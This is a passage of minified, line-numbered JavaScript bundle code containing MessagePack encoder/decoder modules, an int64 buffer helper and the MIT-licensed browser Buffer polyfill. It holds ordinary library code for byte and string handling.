2174 r = t.hasBuffer = i && !!i.isBuffer,
2175 s = t.hasArrayBuffer = "undefined" != typeof ArrayBuffer,
2176 a = t.isArray = n(5);
2177 t.isArrayBuffer = s ? function (e) {
2178 return e instanceof ArrayBuffer || p(e)
2179 } : m;
2180 var o = t.isBuffer = r ? i.isBuffer : m,
2181 c = t.isView = s ? ArrayBuffer.isView || y("ArrayBuffer", "buffer") : m;
2182 t.alloc = d, t.concat = function (e, n) {
2183 n || (n = 0, Array.prototype.forEach.call(e, (function (e) {
2184 n += e.length
2185 })));
2186 var i = this !== t && this || e[0],
2187 r = d.call(i, n),
2188 s = 0;
2189 return Array.prototype.forEach.call(e, (function (e) {
2190 s += f.copy.call(e, r, s)
2191 })), r
2192 }, t.from = function (e) {
2193 return "string" == typeof e ? function (e) {
2194 var t = 3 * e.length,
2195 n = d.call(this, t),
2196 i = f.write.call(n, e);
2197 return t !== i && (n = f.slice.call(n, 0, i)), n
2198 }.call(this, e) : g(this).from(e)
2199 };
2200 var l = t.Array = n(28),
2201 h = t.Buffer = n(29),
2202 u = t.Uint8Array = n(30),
2203 f = t.prototype = n(6);
2204
2205 function d(e) {
2206 return g(this).alloc(e)
2207 }
2208 var p = y("ArrayBuffer");
2209
2210 function g(e) {
2211 return o(e) ? h : c(e) ? u : a(e) ? l : r ? h : s ? u : l
2212 }
2213
2214 function m() {
2215 return !1
2216 }
2217
2218 function y(e, t) {
2219 return e = "[object " + e + "]",
2220 function (n) {
2221 return null != n && {}.toString.call(t ? n[t] : n) === e
2222 }
2223 }
2224}, function (e, t, n) {
2225 var i = n(5);
2226 t.createCodec = o, t.install = function (e) {
2227 for (var t in e) s.prototype[t] = a(s.prototype[t], e[t])
2228 }, t.filter = function (e) {
2229 return i(e) ? function (e) {
2230 return e = e.slice(),
2231 function (n) {
2232 return e.reduce(t, n)
2233 };
2234
2235 function t(e, t) {
2236 return t(e)
2237 }
2238 }(e) : e
2239 };
2240 var r = n(0);
2241
2242 function s(e) {
2243 if (!(this instanceof s)) return new s(e);
2244 this.options = e, this.init()
2245 }
2246
2247 function a(e, t) {
2248 return e && t ? function () {
2249 return e.apply(this, arguments), t.apply(this, arguments)
2250 } : e || t
2251 }
2252
2253 function o(e) {
2254 return new s(e)
2255 }
2256 s.prototype.init = function () {
2257 var e = this.options;
2258 return e && e.uint8array && (this.bufferish = r.Uint8Array), this
2259 }, t.preset = o({
2260 preset: !0
2261 })
2262}, function (e, t, n) {
2263 var i = n(3).ExtBuffer,
2264 r = n(32),
2265 s = n(33),
2266 a = n(1);
2267
2268 function o() {
2269 var e = this.options;
2270 return this.encode = function (e) {
2271 var t = s.getWriteType(e);
2272 return function (e, n) {
2273 var i = t[typeof n];
2274 if (!i) throw new Error('Unsupported type "' + typeof n + '": ' + n);
2275 i(e, n)
2276 }
2277 }(e), e && e.preset && r.setExtPackers(this), this
2278 }
2279 a.install({
2280 addExtPacker: function (e, t, n) {
2281 n = a.filter(n);
2282 var r = t.name;
2283 r && "Object" !== r ? (this.extPackers || (this.extPackers = {}))[r] = s : (this.extEncoderList || (this.extEncoderList = [])).unshift([t, s]);
2284
2285 function s(t) {
2286 return n && (t = n(t)), new i(t, e)
2287 }
2288 },
2289 getExtPacker: function (e) {
2290 var t = this.extPackers || (this.extPackers = {}),
2291 n = e.constructor,
2292 i = n && n.name && t[n.name];
2293 if (i) return i;
2294 for (var r = this.extEncoderList || (this.extEncoderList = []), s = r.length, a = 0; a < s; a++) {
2295 var o = r[a];
2296 if (n === o[0]) return o[1]
2297 }
2298 },
2299 init: o
2300 }), t.preset = o.call(a.preset)
2301}, function (e, t, n) {
2302 t.ExtBuffer = function e(t, n) {
2303 if (!(this instanceof e)) return new e(t, n);
2304 this.buffer = i.from(t), this.type = n
2305 };
2306 var i = n(0)
2307}, function (e, t) {
2308 t.read = function (e, t, n, i, r) {
2309 var s, a, o = 8 * r - i - 1,
2310 c = (1 << o) - 1,
2311 l = c >> 1,
2312 h = -7,
2313 u = n ? r - 1 : 0,
2314 f = n ? -1 : 1,
2315 d = e[t + u];
2316 for (u += f, s = d & (1 << -h) - 1, d >>= -h, h += o; h > 0; s = 256 * s + e[t + u], u += f, h -= 8);
2317 for (a = s & (1 << -h) - 1, s >>= -h, h += i; h > 0; a = 256 * a + e[t + u], u += f, h -= 8);
2318 if (0 === s) s = 1 - l;
2319 else {
2320 if (s === c) return a ? NaN : 1 / 0 * (d ? -1 : 1);
2321 a += Math.pow(2, i), s -= l
2322 }
2323 return (d ? -1 : 1) * a * Math.pow(2, s - i)
2324 }, t.write = function (e, t, n, i, r, s) {
2325 var a, o, c, l = 8 * s - r - 1,
2326 h = (1 << l) - 1,
2327 u = h >> 1,
2328 f = 23 === r ? Math.pow(2, -24) - Math.pow(2, -77) : 0,
2329 d = i ? 0 : s - 1,
2330 p = i ? 1 : -1,
2331 g = t < 0 || 0 === t && 1 / t < 0 ? 1 : 0;
2332 for (t = Math.abs(t), isNaN(t) || t === 1 / 0 ? (o = isNaN(t) ? 1 : 0, a = h) : (a = Math.floor(Math.log(t) / Math.LN2), t * (c = Math.pow(2, -a)) < 1 && (a--, c *= 2), (t += a + u >= 1 ? f / c : f * Math.pow(2, 1 - u)) * c >= 2 && (a++, c /= 2), a + u >= h ? (o = 0, a = h) : a + u >= 1 ? (o = (t * c - 1) * Math.pow(2, r), a += u) : (o = t * Math.pow(2, u - 1) * Math.pow(2, r), a = 0)); r >= 8; e[n + d] = 255 & o, d += p, o /= 256, r -= 8);
2333 for (a = a << r | o, l += r; l > 0; e[n + d] = 255 & a, d += p, a /= 256, l -= 8);
2334 e[n + d - p] |= 128 * g
2335 }
2336}, function (e, t) {
2337 var n = {}.toString;
2338 e.exports = Array.isArray || function (e) {
2339 return "[object Array]" == n.call(e)
2340 }
2341}, function (e, t, n) {
2342 var i = n(31);
2343 t.copy = c, t.slice = l, t.toString = function (e, t, n) {
2344 return (!a && r.isBuffer(this) ? this.toString : i.toString).apply(this, arguments)
2345 }, t.write = function (e) {
2346 return function () {
2347 return (this[e] || i[e]).apply(this, arguments)
2348 }
2349 }("write");
2350 var r = n(0),
2351 s = r.global,
2352 a = r.hasBuffer && "TYPED_ARRAY_SUPPORT" in s,
2353 o = a && !s.TYPED_ARRAY_SUPPORT;
2354
2355 function c(e, t, n, s) {
2356 var a = r.isBuffer(this),
2357 c = r.isBuffer(e);
2358 if (a && c) return this.copy(e, t, n, s);
2359 if (o || a || c || !r.isView(this) || !r.isView(e)) return i.copy.call(this, e, t, n, s);
2360 var h = n || null != s ? l.call(this, n, s) : this;
2361 return e.set(h, t), h.length
2362 }
2363
2364 function l(e, t) {
2365 var n = this.slice || !o && this.subarray;
2366 if (n) return n.call(this, e, t);
2367 var i = r.alloc.call(this, t - e);
2368 return c.call(this, i, 0, e, t), i
2369 }
2370}, function (e, t, n) {
2371 (function (e) {
2372 ! function (t) {
2373 var n, i = "undefined",
2374 r = i !== typeof e && e,
2375 s = i !== typeof Uint8Array && Uint8Array,
2376 a = i !== typeof ArrayBuffer && ArrayBuffer,
2377 o = [0, 0, 0, 0, 0, 0, 0, 0],
2378 c = Array.isArray || function (e) {
2379 return !!e && "[object Array]" == Object.prototype.toString.call(e)
2380 },
2381 l = 4294967296;
2382
2383 function h(e, c, h) {
2384 var b = c ? 0 : 4,
2385 x = c ? 4 : 0,
2386 S = c ? 0 : 3,
2387 T = c ? 1 : 2,
2388 I = c ? 2 : 1,
2389 E = c ? 3 : 0,
2390 M = c ? y : v,
2391 A = c ? k : w,
2392 P = O.prototype,
2393 B = "is" + e,
2394 C = "_" + B;
2395 return P.buffer = void 0, P.offset = 0, P[C] = !0, P.toNumber = R, P.toString = function (e) {
2396 var t = this.buffer,
2397 n = this.offset,
2398 i = _(t, n + b),
2399 r = _(t, n + x),
2400 s = "",
2401 a = !h && 2147483648 & i;
2402 for (a && (i = ~i, r = l - r), e = e || 10;;) {
2403 var o = i % e * l + r;
2404 if (i = Math.floor(i / e), r = Math.floor(o / e), s = (o % e).toString(e) + s, !i && !r) break
2405 }
2406 return a && (s = "-" + s), s
2407 }, P.toJSON = R, P.toArray = u, r && (P.toBuffer = f), s && (P.toArrayBuffer = d), O[B] = function (e) {
2408 return !(!e || !e[C])
2409 }, t[e] = O, O;
2410
2411 function O(e, t, r, c) {
2412 return this instanceof O ? function (e, t, r, c, h) {
2413 if (s && a && (t instanceof a && (t = new s(t)), c instanceof a && (c = new s(c))), t || r || c || n) {
2414 if (!p(t, r)) h = r, c = t, r = 0, t = new(n || Array)(8);
2415 e.buffer = t, e.offset = r |= 0, i !== typeof c && ("string" == typeof c ? function (e, t, n, i) {
2416 var r = 0,
2417 s = n.length,
2418 a = 0,
2419 o = 0;
2420 "-" === n[0] && r++;
2421 for (var c = r; r < s;) {
2422 var h = parseInt(n[r++], i);
2423 if (!(h >= 0)) break;
2424 o = o * i + h, a = a * i + Math.floor(o / l), o %= l
2425 }
2426 c && (a = ~a, o ? o = l - o : a++), j(e, t + b, a), j(e, t + x, o)
2427 }(t, r, c, h || 10) : p(c, h) ? g(t, r, c, h) : "number" == typeof h ? (j(t, r + b, c), j(t, r + x, h)) : c > 0 ? M(t, r, c) : c < 0 ? A(t, r, c) : g(t, r, o, 0))
2428 } else e.buffer = m(o, 0)
2429 }(this, e, t, r, c) : new O(e, t, r, c)
2430 }
2431
2432 function R() {
2433 var e = this.buffer,
2434 t = this.offset,
2435 n = _(e, t + b),
2436 i = _(e, t + x);
2437 return h || (n |= 0), n ? n * l + i : i
2438 }
2439
2440 function j(e, t, n) {
2441 e[t + E] = 255 & n, n >>= 8, e[t + I] = 255 & n, n >>= 8, e[t + T] = 255 & n, n >>= 8, e[t + S] = 255 & n
2442 }
2443
2444 function _(e, t) {
2445 return 16777216 * e[t + S] + (e[t + T] << 16) + (e[t + I] << 8) + e[t + E]
2446 }
2447 }
2448
2449 function u(e) {
2450 var t = this.buffer,
2451 i = this.offset;
2452 return n = null, !1 !== e && 0 === i && 8 === t.length && c(t) ? t : m(t, i)
2453 }
2454
2455 function f(t) {
2456 var i = this.buffer,
2457 s = this.offset;
2458 if (n = r, !1 !== t && 0 === s && 8 === i.length && e.isBuffer(i)) return i;
2459 var a = new r(8);
2460 return g(a, 0, i, s), a
2461 }
2462
2463 function d(e) {
2464 var t = this.buffer,
2465 i = this.offset,
2466 r = t.buffer;
2467 if (n = s, !1 !== e && 0 === i && r instanceof a && 8 === r.byteLength) return r;
2468 var o = new s(8);
2469 return g(o, 0, t, i), o.buffer
2470 }
2471
2472 function p(e, t) {
2473 var n = e && e.length;
2474 return t |= 0, n && t + 8 <= n && "string" != typeof e[t]
2475 }
2476
2477 function g(e, t, n, i) {
2478 t |= 0, i |= 0;
2479 for (var r = 0; r < 8; r++) e[t++] = 255 & n[i++]
2480 }
2481
2482 function m(e, t) {
2483 return Array.prototype.slice.call(e, t, t + 8)
2484 }
2485
2486 function y(e, t, n) {
2487 for (var i = t + 8; i > t;) e[--i] = 255 & n, n /= 256
2488 }
2489
2490 function k(e, t, n) {
2491 var i = t + 8;
2492 for (n++; i > t;) e[--i] = 255 & -n ^ 255, n /= 256
2493 }
2494
2495 function v(e, t, n) {
2496 for (var i = t + 8; t < i;) e[t++] = 255 & n, n /= 256
2497 }
2498
2499 function w(e, t, n) {
2500 var i = t + 8;
2501 for (n++; t < i;) e[t++] = 255 & -n ^ 255, n /= 256
2502 }
2503 h("Uint64BE", !0, !0), h("Int64BE", !0, !1), h("Uint64LE", !1, !0), h("Int64LE", !1, !1)
2504 }("string" != typeof t.nodeName ? t : this || {})
2505 }).call(this, n(11).Buffer)
2506}, function (e, t, n) {
2507 var i = n(3).ExtBuffer,
2508 r = n(35),
2509 s = n(17).readUint8,
2510 a = n(36),
2511 o = n(1);
2512
2513 function c() {
2514 var e = this.options;
2515 return this.decode = function (e) {
2516 var t = a.getReadToken(e);
2517 return function (e) {
2518 var n = s(e),
2519 i = t[n];
2520 if (!i) throw new Error("Invalid type: " + (n ? "0x" + n.toString(16) : n));
2521 return i(e)
2522 }
2523 }(e), e && e.preset && r.setExtUnpackers(this), this
2524 }
2525 o.install({
2526 addExtUnpacker: function (e, t) {
2527 (this.extUnpackers || (this.extUnpackers = []))[e] = o.filter(t)
2528 },
2529 getExtUnpacker: function (e) {
2530 return (this.extUnpackers || (this.extUnpackers = []))[e] || function (t) {
2531 return new i(t, e)
2532 }
2533 },
2534 init: c
2535 }), t.preset = c.call(o.preset)
2536}, function (e, t, n) {
2537 t.encode = function (e, t) {
2538 var n = new i(t);
2539 return n.write(e), n.read()
2540 };
2541 var i = n(10).EncodeBuffer
2542}, function (e, t, n) {
2543 t.EncodeBuffer = r;
2544 var i = n(2).preset;
2545
2546 function r(e) {
2547 if (!(this instanceof r)) return new r(e);
2548 if (e && (this.options = e, e.codec)) {
2549 var t = this.codec = e.codec;
2550 t.bufferish && (this.bufferish = t.bufferish)
2551 }
2552 }
2553 n(14).FlexEncoder.mixin(r.prototype), r.prototype.codec = i, r.prototype.write = function (e) {
2554 this.codec.encode(this, e)
2555 }
2556}, function (e, t, n) {
2557 "use strict";
2558 (function (e) {
2559 /*!
2560 * The buffer module from node.js, for the browser.
2561 *
2562 * @author Feross Aboukhadijeh <http://feross.org>
2563 * @license MIT
2564 */
2565 var i = n(26),
2566 r = n(4),
2567 s = n(27);
2568
2569 function a() {
2570 return c.TYPED_ARRAY_SUPPORT ? 2147483647 : 1073741823
2571 }
2572
2573 function o(e, t) {
2574 if (a() < t) throw new RangeError("Invalid typed array length");
2575 return c.TYPED_ARRAY_SUPPORT ? (e = new Uint8Array(t)).__proto__ = c.prototype : (null === e && (e = new c(t)), e.length = t), e
2576 }
2577
2578 function c(e, t, n) {
2579 if (!(c.TYPED_ARRAY_SUPPORT || this instanceof c)) return new c(e, t, n);
2580 if ("number" == typeof e) {
2581 if ("string" == typeof t) throw new Error("If encoding is specified then the first argument must be a string");
2582 return u(this, e)
2583 }
2584 return l(this, e, t, n)
2585 }
2586
2587 function l(e, t, n, i) {
2588 if ("number" == typeof t) throw new TypeError('"value" argument must not be a number');
2589 return "undefined" != typeof ArrayBuffer && t instanceof ArrayBuffer ? function (e, t, n, i) {
2590 if (t.byteLength, n < 0 || t.byteLength < n) throw new RangeError("'offset' is out of bounds");
2591 if (t.byteLength < n + (i || 0)) throw new RangeError("'length' is out of bounds");
2592 return t = void 0 === n && void 0 === i ? new Uint8Array(t) : void 0 === i ? new Uint8Array(t, n) : new Uint8Array(t, n, i), c.TYPED_ARRAY_SUPPORT ? (e = t).__proto__ = c.prototype : e = f(e, t), e
2593 }(e, t, n, i) : "string" == typeof t ? function (e, t, n) {
2594 if ("string" == typeof n && "" !== n || (n = "utf8"), !c.isEncoding(n)) throw new TypeError('"encoding" must be a valid string encoding');
2595 var i = 0 | p(t, n),
2596 r = (e = o(e, i)).write(t, n);
2597 return r !== i && (e = e.slice(0, r)), e
2598 }(e, t, n) : function (e, t) {
2599 if (c.isBuffer(t)) {
2600 var n = 0 | d(t.length);
2601 return 0 === (e = o(e, n)).length || t.copy(e, 0, 0, n), e
2602 }
2603 if (t) {
2604 if ("undefined" != typeof ArrayBuffer && t.buffer instanceof ArrayBuffer || "length" in t) return "number" != typeof t.length || function (e) {
2605 return e != e
2606 }(t.length) ? o(e, 0) : f(e, t);
2607 if ("Buffer" === t.type && s(t.data)) return f(e, t.data)
2608 }
2609 throw new TypeError("First argument must be a string, Buffer, ArrayBuffer, Array, or array-like object.")
2610 }(e, t)
2611 }
2612
2613 function h(e) {
2614 if ("number" != typeof e) throw new TypeError('"size" argument must be a number');
2615 if (e < 0) throw new RangeError('"size" argument must not be negative')
2616 }
2617
2618 function u(e, t) {
2619 if (h(t), e = o(e, t < 0 ? 0 : 0 | d(t)), !c.TYPED_ARRAY_SUPPORT)
2620 for (var n = 0; n < t; ++n) e[n] = 0;
2621 return e
2622 }
2623
2624 function f(e, t) {
2625 var n = t.length < 0 ? 0 : 0 | d(t.length);
2626 e = o(e, n);
2627 for (var i = 0; i < n; i += 1) e[i] = 255 & t[i];
2628 return e
2629 }
2630
2631 function d(e) {
2632 if (e >= a()) throw new RangeError("Attempt to allocate Buffer larger than maximum size: 0x" + a().toString(16) + " bytes");
2633 return 0 | e
2634 }
2635
2636 function p(e, t) {
2637 if (c.isBuffer(e)) return e.length;
2638 if ("undefined" != typeof ArrayBuffer && "function" == typeof ArrayBuffer.isView && (ArrayBuffer.isView(e) || e instanceof ArrayBuffer)) return e.byteLength;
2639 "string" != typeof e && (e = "" + e);
2640 var n = e.length;
2641 if (0 === n) return 0;
2642 for (var i = !1;;) switch (t) {
2643 case "ascii":
2644 case "latin1":
2645 case "binary":
2646 return n;
2647 case "utf8":
2648 case "utf-8":
2649 case void 0:
2650 return z(e).length;
2651 case "ucs2":
2652 case "ucs-2":
2653 case "utf16le":
2654 case "utf-16le":
2655 return 2 * n;
2656 case "hex":
2657 return n >>> 1;
2658 case "base64":
2659 return H(e).length;
2660 default:
2661 if (i) return z(e).length;
2662 t = ("" + t).toLowerCase(), i = !0
2663 }
2664 }
2665
2666 function g(e, t, n) {
2667 var i = e[t];
2668 e[t] = e[n], e[n] = i
2669 }
2670
2671 function m(e, t, n, i, r) {
2672 if (0 === e.length) return -1;
2673 if ("string" == typeof n ? (i = n, n = 0) : n > 2147483647 ? n = 2147483647 : n < -2147483648 && (n = -2147483648), n = +n, isNaN(n) && (n = r ? 0 : e.length - 1), n < 0 && (n = e.length + n), n >= e.length) {
2674 if (r) return -1;
2675 n = e.length - 1
2676 } else if (n < 0) {
2677 if (!r) return -1;
2678 n = 0
2679 }
2680 if ("string" == typeof t && (t = c.from(t, i)), c.isBuffer(t)) return 0 === t.length ? -1 : y(e, t, n, i, r);
2681 if ("number" == typeof t) return t &= 255, c.TYPED_ARRAY_SUPPORT && "function" == typeof Uint8Array.prototype.indexOf ? r ? Uint8Array.prototype.indexOf.call(e, t, n) : Uint8Array.prototype.lastIndexOf.call(e, t, n) : y(e, [t], n, i, r);
2682 throw new TypeError("val must be string, number or Buffer")
2683 }
2684
2685 function y(e, t, n, i, r) {
2686 var s, a = 1,
2687 o = e.length,
2688 c = t.length;
2689 if (void 0 !== i && ("ucs2" === (i = String(i).toLowerCase()) || "ucs-2" === i || "utf16le" === i || "utf-16le" === i)) {
2690 if (e.length < 2 || t.length < 2) return -1;
2691 a = 2, o /= 2, c /= 2, n /= 2
2692 }
2693
2694 function l(e, t) {
2695 return 1 === a ? e[t] : e.readUInt16BE(t * a)
2696 }
2697 if (r) {
2698 var h = -1;
2699 for (s = n; s < o; s++)
2700 if (l(e, s) === l(t, -1 === h ? 0 : s - h)) {
2701 if (-1 === h && (h = s), s - h + 1 === c) return h * a
2702 } else -1 !== h && (s -= s - h), h = -1
2703 } else
2704 for (n + c > o && (n = o - c), s = n; s >= 0; s--) {
2705 for (var u = !0, f = 0; f < c; f++)
2706 if (l(e, s + f) !== l(t, f)) {
2707 u = !1;
2708 break
2709 } if (u) return s
2710 }
2711 return -1
2712 }
2713
2714 function k(e, t, n, i) {
2715 n = Number(n) || 0;
2716 var r = e.length - n;
2717 i ? (i = Number(i)) > r && (i = r) : i = r;
2718 var s = t.length;
2719 if (s % 2 != 0) throw new TypeError("Invalid hex string");
2720 i > s / 2 && (i = s / 2);
2721 for (var a = 0; a < i; ++a) {
2722 var o = parseInt(t.substr(2 * a, 2), 16);
2723 if (isNaN(o)) return a;
2724 e[n + a] = o
2725 }
2726 return a
2727 }
2728
2729 function v(e, t, n, i) {
2730 return V(z(t, e.length - n), e, n, i)
2731 }
2732
2733 function w(e, t, n, i) {
2734 return V(function (e) {
2735 for (var t = [], n = 0; n < e.length; ++n) t.push(255 & e.charCodeAt(n));
2736 return t
2737 }(t), e, n, i)
2738 }
2739
2740 function b(e, t, n, i) {
2741 return w(e, t, n, i)
2742 }
2743
2744 function x(e, t, n, i) {
2745 return V(H(t), e, n, i)
2746 }
2747
2748 function S(e, t, n, i) {
2749 return V(function (e, t) {
2750 for (var n, i, r, s = [], a = 0; a < e.length && !((t -= 2) < 0); ++a) i = (n = e.charCodeAt(a)) >> 8, r = n % 256, s.push(r), s.push(i);
2751 return s
2752 }(t, e.length - n), e, n, i)
2753 }
2754
2755 function T(e, t, n) {
2756 return 0 === t && n === e.length ? i.fromByteArray(e) : i.fromByteArray(e.slice(t, n))
2757 }
2758
2759 function I(e, t, n) {
2760 n = Math.min(e.length, n);
2761 for (var i = [], r = t; r < n;) {
2762 var s, a, o, c, l = e[r],
2763 h = null,
2764 u = l > 239 ? 4 : l > 223 ? 3 : l > 191 ? 2 : 1;
2765 if (r + u <= n) switch (u) {
2766 case 1:
2767 l < 128 && (h = l);
2768 break;
2769 case 2:
2770 128 == (192 & (s = e[r + 1])) && (c = (31 & l) << 6 | 63 & s) > 127 && (h = c);
2771 break;
2772 case 3:
2773 s = e[r + 1], a = e[r + 2], 128 == (192 & s) && 128 == (192 & a) && (c = (15 & l) << 12 | (63 & s) << 6 | 63 & a) > 2047 && (c < 55296 || c > 57343) && (h = c);
2774 break;
2775 case 4:
2776 s = e[r + 1], a = e[r + 2], o = e[r + 3], 128 == (192 & s) && 128 == (192 & a) && 128 == (192 & o) && (c = (15 & l) << 18 | (63 & s) << 12 | (63 & a) << 6 | 63 & o) > 65535 && c < 1114112 && (h = c)
2777 }
2778 null === h ? (h = 65533, u = 1) : h > 65535 && (h -= 65536, i.push(h >>> 10 & 1023 | 55296), h = 56320 | 1023 & h), i.push(h), r += u
2779 }
2780 return function (e) {
2781 var t = e.length;
2782 if (t <= E) return String.fromCharCode.apply(String, e);
2783 for (var n = "", i = 0; i < t;) n += String.fromCharCode.apply(String, e.slice(i, i += E));
2784 return n
2785 }(i)
2786 }
2787 t.Buffer = c, t.SlowBuffer = function (e) {
2788 return +e != e && (e = 0), c.alloc(+e)
2789 }, t.INSPECT_MAX_BYTES = 50, c.TYPED_ARRAY_SUPPORT = void 0 !== e.TYPED_ARRAY_SUPPORT ? e.TYPED_ARRAY_SUPPORT : function () {
2790 try {
2791 var e = new Uint8Array(1);
2792 return e.__proto__ = {
2793 __proto__: Uint8Array.prototype,
2794 foo: function () {
2795 return 42
2796 }
2797 }, 42 === e.foo() && "function" == typeof e.subarray && 0 === e.subarray(1, 1).byteLength
2798 } catch (e) {
2799 return !1
2800 }
2801 }(), t.kMaxLength = a(), c.poolSize = 8192, c._augment = function (e) {
2802 return e.__proto__ = c.prototype, e
2803 }, c.from = function (e, t, n) {
2804 return l(null, e, t, n)
2805 }, c.TYPED_ARRAY_SUPPORT && (c.prototype.__proto__ = Uint8Array.prototype, c.__proto__ = Uint8Array, "undefined" != typeof Symbol && Symbol.species && c[Symbol.species] === c && Object.defineProperty(c, Symbol.species, {
2806 value: null,
2807 configurable: !0
2808 })), c.alloc = function (e, t, n) {
2809 return function (e, t, n, i) {
2810 return h(t), t <= 0 ? o(e, t) : void 0 !== n ? "string" == typeof i ? o(e, t).fill(n, i) : o(e, t).fill(n) : o(e, t)
2811 }(null, e, t, n)
2812 }, c.allocUnsafe = function (e) {
2813 return u(null, e)
2814 }, c.allocUnsafeSlow = function (e) {
2815 return u(null, e)
2816 }, c.isBuffer = function (e) {
2817 return !(null == e || !e._isBuffer)
2818 }, c.compare = function (e, t) {
2819 if (!c.isBuffer(e) || !c.isBuffer(t)) throw new TypeError("Arguments must be Buffers");
2820 if (e === t) return 0;
2821 for (var n = e.length, i = t.length, r = 0, s = Math.min(n, i); r < s; ++r)
2822 if (e[r] !== t[r]) {
2823 n = e[r], i = t[r];
2824 break
2825 } return n < i ? -1 : i < n ? 1 : 0
2826 }, c.isEncoding = function (e) {
2827 switch (String(e).toLowerCase()) {
2828 case "hex":
2829 case "utf8":
2830 case "utf-8":
2831 case "ascii":
2832 case "latin1":
2833 case "binary":
2834 case "base64":
2835 case "ucs2":
2836 case "ucs-2":
2837 case "utf16le":
2838 case "utf-16le":
2839 return !0;
2840 default:
2841 return !1
2842 }
2843 }, c.concat = function (e, t) {
2844 if (!s(e)) throw new TypeError('"list" argument must be an Array of Buffers');
2845 if (0 === e.length) return c.alloc(0);
2846 var n;
2847 if (void 0 === t)
2848 for (t = 0, n = 0; n < e.length; ++n) t += e[n].length;
2849 var i = c.allocUnsafe(t),
2850 r = 0;
2851 for (n = 0; n < e.length; ++n) {
2852 var a = e[n];
2853 if (!c.isBuffer(a)) throw new TypeError('"list" argument must be an Array of Buffers');
2854 a.copy(i, r), r += a.length
2855 }
2856 return i
2857 }, c.byteLength = p, c.prototype._isBuffer = !0, c.prototype.swap16 = function () {
2858 var e = this.length;
2859 if (e % 2 != 0) throw new RangeError("Buffer size must be a multiple of 16-bits");
2860 for (var t = 0; t < e; t += 2) g(this, t, t + 1);
2861 return this
2862 }, c.prototype.swap32 = function () {
2863 var e = this.length;
2864 if (e % 4 != 0) throw new RangeError("Buffer size must be a multiple of 32-bits");
2865 for (var t = 0; t < e; t += 4) g(this, t, t + 3), g(this, t + 1, t + 2);
2866 return this
2867 }, c.prototype.swap64 = function () {
2868 var e = this.length;
2869 if (e % 8 != 0) throw new RangeError("Buffer size must be a multiple of 64-bits");
2870 for (var t = 0; t < e; t += 8) g(this, t, t + 7), g(this, t + 1, t + 6), g(this, t + 2, t + 5), g(this, t + 3, t + 4);
2871 return this
2872 }, c.prototype.toString = function () {
2873 var e = 0 | this.length;
2874 return 0 === e ? "" : 0 === arguments.length ? I(this, 0, e) : function (e, t, n) {
2875 var i = !1;
2876 if ((void 0 === t || t < 0) && (t = 0), t > this.length) return "";
2877 if ((void 0 === n || n > this.length) && (n = this.length), n <= 0) return "";
2878 if ((n >>>= 0) <= (t >>>= 0)) return "";
2879 for (e || (e = "utf8");;) switch (e) {
2880 case "hex":
2881 return P(this, t, n);
2882 case "utf8":
2883 case "utf-8":
2884 return I(this, t, n);
2885 case "ascii":
2886 return M(this, t, n);
2887 case "latin1":
2888 case "binary":
2889 return A(this, t, n);
2890 case "base64":
2891 return T(this, t, n);
2892 case "ucs2":
2893 case "ucs-2":
2894 case "utf16le":
2895 case "utf-16le":
2896 return B(this, t, n);
2897 default:
2898 if (i) throw new TypeError("Unknown encoding: " + e);
2899 e = (e + "").toLowerCase(), i = !0
2900 }
2901 }.apply(this, arguments)
2902 }, c.prototype.equals = function (e) {
2903 if (!c.isBuffer(e)) throw new TypeError("Argument must be a Buffer");
2904 return this === e || 0 === c.compare(this, e)
2905 }, c.prototype.inspect = function () {
2906 var e = "",
2907 n = t.INSPECT_MAX_BYTES;
2908 return this.length > 0 && (e = this.toString("hex", 0, n).match(/.{2}/g).join(" "), this.length > n && (e += " ... ")), "<Buffer " + e + ">"
2909 }, c.prototype.compare = function (e, t, n, i, r) {
2910 if (!c.isBuffer(e)) throw new TypeError("Argument must be a Buffer");
2911 if (void 0 === t && (t = 0), void 0 === n && (n = e ? e.length : 0), void 0 === i && (i = 0), void 0 === r && (r = this.length), t < 0 || n > e.length || i < 0 || r > this.length) throw new RangeError("out of range index");
2912 if (i >= r && t >= n) return 0;
2913 if (i >= r) return -1;
2914 if (t >= n) return 1;
2915 if (this === e) return 0;
2916 for (var s = (r >>>= 0) - (i >>>= 0), a = (n >>>= 0) - (t >>>= 0), o = Math.min(s, a), l = this.slice(i, r), h = e.slice(t, n), u = 0; u < o; ++u)
2917 if (l[u] !== h[u]) {
2918 s = l[u], a = h[u];
2919 break
2920 } return s < a ? -1 : a < s ? 1 : 0
2921 }, c.prototype.includes = function (e, t, n) {
2922 return -1 !== this.indexOf(e, t, n)
2923 }, c.prototype.indexOf = function (e, t, n) {
2924 return m(this, e, t, n, !0)
2925 }, c.prototype.lastIndexOf = function (e, t, n) {
2926 return m(this, e, t, n, !1)
2927 }, c.prototype.write = function (e, t, n, i) {
2928 if (void 0 === t) i = "utf8", n = this.length, t = 0;
2929 else if (void 0 === n && "string" == typeof t) i = t, n = this.length, t = 0;
2930 else {
2931 if (!isFinite(t)) throw new Error("Buffer.write(string, encoding, offset[, length]) is no longer supported");
2932 t |= 0, isFinite(n) ? (n |= 0, void 0 === i && (i = "utf8")) : (i = n, n = void 0)
2933 }
2934 var r = this.length - t;
2935 if ((void 0 === n || n > r) && (n = r), e.length > 0 && (n < 0 || t < 0) || t > this.length) throw new RangeError("Attempt to write outside buffer bounds");
2936 i || (i = "utf8");
2937 for (var s = !1;;) switch (i) {
2938 case "hex":
2939 return k(this, e, t, n);
2940 case "utf8":
2941 case "utf-8":
2942 return v(this, e, t, n);
2943 case "ascii":
2944 return w(this, e, t, n);
2945 case "latin1":
2946 case "binary":
2947 return b(this, e, t, n);
2948 case "base64":
2949 return x(this, e, t, n);
2950 case "ucs2":
2951 case "ucs-2":
2952 case "utf16le":
2953 case "utf-16le":
2954 return S(this, e, t, n);
2955 default:
2956 if (s) throw new TypeError("Unknown encoding: " + i);
2957 i = ("" + i).toLowerCase(), s = !0
2958 }
2959 }, c.prototype.toJSON = function () {
2960 return {
2961 type: "Buffer",
2962 data: Array.prototype.slice.call(this._arr || this, 0)
2963 }
2964 };
2965 var E = 4096;
2966
2967 function M(e, t, n) {
2968 var i = "";
2969 n = Math.min(e.length, n);
2970 for (var r = t; r < n; ++r) i += String.fromCharCode(127 & e[r]);
2971 return i
2972 }
2973
2974 function A(e, t, n) {
2975 var i = "";
2976 n = Math.min(e.length, n);
2977 for (var r = t; r < n; ++r) i += String.fromCharCode(e[r]);
2978 return i
2979 }
2980
2981 function P(e, t, n) {
2982 var i = e.length;
2983 (!t || t < 0) && (t = 0), (!n || n < 0 || n > i) && (n = i);
2984 for (var r = "", s = t; s < n; ++s) r += F(e[s]);
2985 return r
2986 }
2987
2988 function B(e, t, n) {
